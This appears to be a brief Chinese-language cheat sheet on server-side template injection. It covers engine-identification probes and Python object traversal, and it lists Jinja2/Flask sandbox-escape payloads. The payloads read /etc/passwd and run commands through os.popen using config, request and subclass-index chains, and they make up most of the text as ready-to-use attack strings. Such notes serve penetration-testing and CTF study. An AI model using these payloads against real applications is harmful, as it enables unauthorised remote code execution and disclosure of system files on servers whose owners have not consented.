SSTI简记

标签(空格分隔): ssti


##识别模板引擎##
1
2
3
4
{{7*7}} → 49 (成功)     # Jinja2, Twig
${7*7} → 49 (成功) # FreeMarker
<%= 7*7 %> → 49 (成功) # ERB, Ruby
#{7*7} → 49 (成功) # Jade/Pug

###基础知识类###

组件 作用
‘’ 一个具体的对象
class 查看这个对象的类
mro 查看类的继承关系
mro[1] 获取基类(object)
subclasses() 获取所有子类

###沙盒逃逸(Jinjia2/Flask)###

####A基础对象

1
2
3
{{''.__class__}}  # 获取字符串类
{{''.__class__.__mro__}} # 方法解析顺序
{{''.__class__.__mro__[1].__subclasses__()}} # 所有子类

####B寻找危险类

1
2
# 查找file类
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

file类只能是大概在40左右具体的得通过不断的尝试来获取,然后直接查。

1
2
# 查找os模块
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('whoami').read()}}

os模块可以直接调用命令来进行比如system(‘ls’)之类的

大概位置如下

1
2
3
4
5
6
7
8
9
10
# Python 2常见索引
# 常见的危险类索引
file类: 索引40左右
subprocess.Popen: 索引258左右
os._wrap_close: 索引132左右(在socket模块中)

# Python 3常见索引
_io.TextIOWrapper: 索引4左右(用于文件操作)
subprocess.Popen: 索引289左右
os._wrap_close: 索引132左右(最常用!)

常见的payload如下

1
2
3
4
# RCE示例
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['sys'].modules['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}